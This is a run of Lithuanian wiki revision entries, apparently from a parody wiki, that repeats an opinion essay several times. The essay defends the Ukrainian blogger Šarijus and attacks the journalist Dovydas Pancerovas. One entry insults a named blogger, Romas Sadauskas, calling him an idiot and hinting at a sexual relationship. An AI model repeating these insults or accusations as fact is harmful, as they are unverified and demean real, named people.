Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Romas_Sadauskas&diff=46576Romas Sadauskas2015-07-20T17:49:59Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Romka.jpeg|350px|thumb|right|Druskinykų feministas, redaktorius ir blogerius Romas Sadauskas-Kvietkevičius. Su baltu ploščiumi plikas po druskininkus duodas ale be šlipso. <br />
<br />
Keistos sąsajos sako, kad Romas Sadauskas yra visiškas debilas liberalas, bet kažkodėl tuo pačiu ir pusiau tolerantas. Dargi sako, kad [[Bacevyčia]] esantis senu draugu jo bei sugulovu.<br />
<br />
<br />
== Kažkokios istorijos apie Romą Sadauską-Kvietkevičių ==<br />
[[Vaizdas:Senis.jpeg|500px|thumb|left|Romas Sadauskas]] BUKAGALVIS KOKIU RETA<br />
<br />
== Dar žr. ==<br />
<br />
* Labai vertas Romo Sadausko tinklaraštis - http://druskininkunaujienos.blogspot.com/<br />
<br />
{{Blogeriai}}<br />
[[Category:Blogeriai]]<br />
[[Category:Barzdočiai]]</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46575Dovydas Pancerovas2015-07-20T17:48:28Z<p>Panceris88: </p>
<hr />
<div>[[Vaizdas:Pancv.jpeg|500px|thumb|right|dovyda pancerova [[toks]] Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46574Dovydas Pancerovas2015-07-20T17:43:56Z<p>Panceris88: </p>
<hr />
<div>[[Vaizdas:pan.jpeg|200px|thumb|left|david]] Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46573Dovydas Pancerovas2015-07-20T17:42:10Z<p>Panceris88: </p>
<hr />
<div>[[Vaizdas:Pan.jpeg|200px|thumb|left|david]] Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46572Dovydas Pancerovas2015-07-20T17:40:58Z<p>Panceris88: </p>
<hr />
<div>[[Vaizdas:Pan.jpg|200px|thumb|left|david]] Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46571Dovydas Pancerovas2015-07-20T17:40:04Z<p>Panceris88: </p>
<hr />
<div>[[Vaizdas:Pan.jpeg|200px|thumb|left|david]] Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
